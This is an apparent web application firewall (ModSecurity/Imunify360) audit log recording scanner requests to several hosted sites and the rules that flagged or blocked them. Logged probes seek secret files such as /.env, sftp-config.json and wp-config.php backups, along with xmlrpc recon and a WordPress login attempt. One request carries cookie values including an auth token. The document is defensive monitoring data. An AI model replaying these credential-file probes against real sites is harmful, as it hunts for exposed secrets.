User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Accept-Language: en-US,en;q=0.5
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

--b0d64d69-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--b0d64d69-H--
Message: Warning. String match "xmlrpc.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "290"] [id "77141064"] [msg "IM360 WAF: CMS Recon Bot detected||MVN:REQUEST_FILENAME||T:APACHE||MV:/xmlrpc.php||RM:GET"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. Operator GT matched 0 at ARGS. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "529"] [id "77317945"] [msg "IM360 WAF: Really Simple Discovery to xmlrpc||MVN:ARGS||MV:1||T:APACHE||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "xmlrpc.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "290"] [id "77141064"] [msg "IM360 WAF: CMS Recon Bot detected||MVN:REQUEST_FILENAME||T:APACHE||MV:/xmlrpc.php||RM:GET"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "sabotagerum.com"] [uri "/xmlrpc.php"] [unique_id "aqaFA2M7dE9KgIIOpQh7iAAAANM"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Operator GT matched 0 at ARGS. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "529"] [id "77317945"] [msg "IM360 WAF: Really Simple Discovery to xmlrpc||MVN:ARGS||MV:1||T:APACHE||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "sabotagerum.com"] [uri "/xmlrpc.php"] [unique_id "aqaFA2M7dE9KgIIOpQh7iAAAANM"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/sabotagerum.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789297923266298 72520 (- - -)
Stopwatch2: 1789297923266298 72520; combined=7557, p1=1490, p2=5969, p3=0, p4=0, p5=98, sr=228, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--b0d64d69-Z--

--3b75ad10-A--
[13/Sep/2026:14:33:33.760773 +0300] aqaKDWM7dE9KgIIOpQh8XQAAANc 170.101.96.38 53948 127.0.0.1 7081
--3b75ad10-B--
GET /sftp-config.json HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 170.101.96.38
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Cookie: AMSID2=gurcr2dpu867hiohe5r0jg4tvh; BIGipServer~DMZ~bcn_apm_redir_https=rd2o00000000000000000000ffff0ac803beo443; HandLtestDomainNameServer=HandLtestDomainValueServer; MISCGCs=USERPC1_92_606013_87_USERLL1_92_41.8858%2C-87.62293_87_USERST1_92_IL3_87_LOCST1_92_IL3_87_USERDMA1_92_6023_87_DT1_92_PC3_87_IUSER1_92false; _auth_token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ2aXNpdG9ySWQiOiItUDFNUVlVdVpRQlI5YXFtOGdNUSIsImF1dGhlbnRpY2F0ZWQiOm51bGwsImF1dGhQcm92aWRlciI6bnVsbCwiZXhwIjoxNzkxODM4OTc4LCJpYXQiOjE3ODkyNDY5Nzh9.ETmu4V0KxqcKEchOCAY68rdrmw-OpKXBqjrWnR136ns; _visitor_id=-P1MQYUuZQBR9aqm8gMQ; care_did=3a9aa2f0-855d-4234-ac92-3451fb5cd624; currency=USD; first_utm_campaign=vanity; first_utm_medium=redirect; first_utm_source=vanity; handl_ip=170.101.96.38; handl_landing_page=https%3A%2F%2Fbrandnamix.com%2F.vscode%2Fsftp.json; handl_url=https%3A%2F%2Flivebh.com%2Fapartments%2Fbraxton-townhomes%2F%3Futm_source%3Dvanity%26utm_medium%3Dredirect%26utm_campaign%3Dbraxtontownhomes%26original_referrer%3Dhttps%3A%2F%2Fbraxtontownhomes.com; handl_url_base=https%3A%2F%2Flivebh.com%2Fapartments%2Fbraxton-townhomes%2F; shippingCountry=US; user_agent=Mozilla%2F5.0%20%28Macintosh%3B%20Intel%20Mac%20OS%20X%2010_15_7%29%20AppleWebKit%2F537.36%20%28KHTML%2C%20like%20Gecko%29%20Chrome%2F119.0.0.0%20Safari%2F537.36; utm_campaign=braxtontownhomes; utm_medium=redirect; utm_source=vanity

--3b75ad10-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--3b75ad10-E--

--3b75ad10-H--
Message: Warning. Matched phrase "sftp-config.json" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "sftp-config.json" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/sftp-config.json"] [unique_id "aqaKDWM7dE9KgIIOpQh8XQAAANc"]
Stopwatch: 1789299213743177 17712 (- - -)
Stopwatch2: 1789299213743177 17712; combined=13999, p1=1572, p2=12187, p3=153, p4=11, p5=76, sr=249, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--3b75ad10-Z--

--c3e07051-A--
[13/Sep/2026:14:39:29.019410 +0300] aqaLcEwu1RSkptiiNIX8hwAAAJg 34.38.254.144 54116 127.0.0.1 7081
--c3e07051-B--
GET / HTTP/1.1
Host: default-81-180-250-39
X-Real-IP: 34.38.254.144
X-Accel-Internal: /internal-nginx-static-location
User-Agent: python-requests/2.32.5
Accept-Encoding: gzip, deflate
Accept: */*

--c3e07051-F--
HTTP/1.1 301 Moved Permanently
X-Powered-By: PHP/8.2.33
X-Redirect-By: WordPress
Location: https://www.nuntiinsibiu.ro/
Content-Length: 0
Content-Type: text/html; charset=UTF-8

--c3e07051-E--

--c3e07051-H--
Message: Warning. String match "python-requests" at REQUEST_HEADERS:User-Agent. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "407"] [id "77316748"] [msg "IM360 WAF: User-Agent from scripting found||T:APACHE||MV:python-requests/2.32.5||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "python-requests" at REQUEST_HEADERS:User-Agent. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "407"] [id "77316748"] [msg "IM360 WAF: User-Agent from scripting found||T:APACHE||MV:python-requests/2.32.5||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "default-81-180-250-39"] [uri "/"] [unique_id "aqaLcEwu1RSkptiiNIX8hwAAAJg"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/nuntiinsibiu.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789299568467570 551932 (- - -)
Stopwatch2: 1789299568467570 551932; combined=9994, p1=567, p2=9250, p3=111, p4=9, p5=57, sr=234, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--c3e07051-Z--

--944fe267-A--
[13/Sep/2026:15:03:32.275678 +0300] aqaRFEwu1RSkptiiNIX83AAAAJQ 162.243.61.206 38328 127.0.0.1 7081
--944fe267-B--
GET /.env HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 162.243.61.206
X-Accel-Internal: /internal-nginx-static-location
Sec-Ch-Ua: "Chromium";v="142", "Google Chrome";v="142", "Not-A.Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: en-US,en;q=0.9
Priority: u=0, i
Cache-Control: max-age=0

--944fe267-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--944fe267-E--

--944fe267-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/.env"] [unique_id "aqaRFEwu1RSkptiiNIX83AAAAJQ"]
Stopwatch: 1789301012263667 12132 (- - -)
Stopwatch2: 1789301012263667 12132; combined=6624, p1=393, p2=6061, p3=103, p4=11, p5=56, sr=226, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--944fe267-Z--

--859e352d-A--
[13/Sep/2026:15:04:28.135097 +0300] aqaRTGM7dE9KgIIOpQh9UAAAANY 111.230.241.169 58026 127.0.0.1 7081
--859e352d-B--
GET /wp-config.php.bak HTTP/1.1
Host: axapres.ro
X-Real-IP: 111.230.241.169
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*

--859e352d-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--859e352d-H--
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.bak||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:15-04.111.230.241.169||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.bak||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.bak"] [unique_id "aqaRTGM7dE9KgIIOpQh9UAAAANY"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:15-04.111.230.241.169||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.bak"] [unique_id "aqaRTGM7dE9KgIIOpQh9UAAAANY"]
Action: Intercepted (phase 2)
Stopwatch: 1789301068071751 63401 (- - -)
Stopwatch2: 1789301068071751 63401; combined=61974, p1=355, p2=58772, p3=0, p4=0, p5=2847, sr=126, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--859e352d-Z--

--734bcc2d-A--
[13/Sep/2026:15:04:37.190908 +0300] aqaRVWM7dE9KgIIOpQh9UQAAAMo 111.230.241.169 36212 127.0.0.1 7081
--734bcc2d-B--
GET /wp-config.php~ HTTP/1.1
Host: axapres.ro
X-Real-IP: 111.230.241.169
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*

--734bcc2d-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--734bcc2d-H--
Message: Warning. Matched phrase "wp-config.php~" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php~||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:15-04.111.230.241.169||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php~" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php~||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php~"] [unique_id "aqaRVWM7dE9KgIIOpQh9UQAAAMo"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:15-04.111.230.241.169||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php~"] [unique_id "aqaRVWM7dE9KgIIOpQh9UQAAAMo"]
Action: Intercepted (phase 2)
Stopwatch: 1789301077129830 61334 (- - -)
Stopwatch2: 1789301077129830 61334; combined=59034, p1=455, p2=57692, p3=0, p4=0, p5=887, sr=215, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--734bcc2d-Z--

--abc5e663-A--
[13/Sep/2026:15:08:24.556473 +0300] aqaSODTJ6xTvcJoem7f9LAAAAFA 111.230.241.169 45914 127.0.0.1 7081
--abc5e663-B--
GET /wp-config.php.bak HTTP/1.1
Host: axapres.ro
X-Real-IP: 111.230.241.169
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*

--abc5e663-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--abc5e663-H--
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.bak||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:15-08.111.230.241.169||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.bak||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.bak"] [unique_id "aqaSODTJ6xTvcJoem7f9LAAAAFA"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:15-08.111.230.241.169||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.bak"] [unique_id "aqaSODTJ6xTvcJoem7f9LAAAAFA"]
Action: Intercepted (phase 2)
Stopwatch: 1789301304493910 62606 (- - -)
Stopwatch2: 1789301304493910 62606; combined=61253, p1=230, p2=60693, p3=0, p4=0, p5=330, sr=100, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--abc5e663-Z--

--1e0b197c-A--
[13/Sep/2026:15:08:54.138431 +0300] aqaSVmM7dE9KgIIOpQh9XgAAANc 111.230.241.169 34386 127.0.0.1 7081
--1e0b197c-B--
GET /wp-config.php.swp HTTP/1.1
Host: axapres.ro
X-Real-IP: 111.230.241.169
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*

--1e0b197c-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--1e0b197c-H--
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.swp||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:15-08.111.230.241.169||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.swp||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.swp"] [unique_id "aqaSVmM7dE9KgIIOpQh9XgAAANc"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:15-08.111.230.241.169||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.swp"] [unique_id "aqaSVmM7dE9KgIIOpQh9XgAAANc"]
Action: Intercepted (phase 2)
Stopwatch: 1789301334079010 59476 (- - -)
Stopwatch2: 1789301334079010 59476; combined=58023, p1=234, p2=57494, p3=0, p4=0, p5=295, sr=106, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--1e0b197c-Z--

--0f9d3736-A--
[13/Sep/2026:15:08:58.420331 +0300] aqaSWkwu1RSkptiiNIX85QAAAIU 111.230.241.169 42582 127.0.0.1 7081
--0f9d3736-B--
GET /wp-config.php.old HTTP/1.1
Host: axapres.ro
X-Real-IP: 111.230.241.169
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*

--0f9d3736-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--0f9d3736-H--
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.old||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:15-08.111.230.241.169||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.old||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.old"] [unique_id "aqaSWkwu1RSkptiiNIX85QAAAIU"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:15-08.111.230.241.169||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.old"] [unique_id "aqaSWkwu1RSkptiiNIX85QAAAIU"]
Action: Intercepted (phase 2)
Stopwatch: 1789301338359772 60607 (- - -)
Stopwatch2: 1789301338359772 60607; combined=59191, p1=2295, p2=56546, p3=0, p4=0, p5=350, sr=146, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--0f9d3736-Z--

--9630287a-A--
[13/Sep/2026:15:09:32.625307 +0300] aqaSfEwu1RSkptiiNIX86AAAAJM 46.163.38.77 33990 127.0.0.1 7081
--9630287a-B--
POST /wp-login.php HTTP/1.1
Host: ajutam.ro
X-Real-IP: 46.163.38.77
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 98
Pragma: no-cache
Origin: https://ajutam.ro
sec-ch-ua-platform: "macOS"
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36
sec-ch-ua: "Not;A=Brand";v="8", "Chromium";v="150", "Google Chrome";v="150"
sec-ch-ua-mobile: ?0
Content-Type: application/x-www-form-urlencoded
Accept: */*
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://ajutam.ro/wp-login.php
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: ru-RU,ru;q=0.9
Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_test_cookie=WP+Cookie+check
Priority: u=0, i
Upgrade-Insecure-Requests: 1

--9630287a-F--
HTTP/1.1 403 Forbidden
Last-Modified: Fri, 01 May 2020 21:00:27 GMT
ETag: "31b-5a49c787f10c0"
Accept-Ranges: bytes
Content-Length: 795
Content-Type: text/html

--9630287a-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/003_i360_2_bruteforce.conf"] [line "196"] [id "33303"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:15-09.46.163.38.77"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Stopwatch: 1789301372559272 66128 (- - -)
Stopwatch2: 1789301372559272 66128; combined=65483, p1=441, p2=60195, p3=0, p4=0, p5=2564, sr=144, sw=2283, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--9630287a-Z--

--e423ce25-A--
[13/Sep/2026:15:09:34.292053 +0300] aqaSfkwu1RSkptiiNIX86QAAAJQ 111.230.241.169 33992 127.0.0.1 7081
--e423ce25-B--
GET /wp-config.php.bak HTTP/1.1
Host: axapres.ro
X-Real-IP: 111.230.241.169
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*

--e423ce25-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--e423ce25-H--
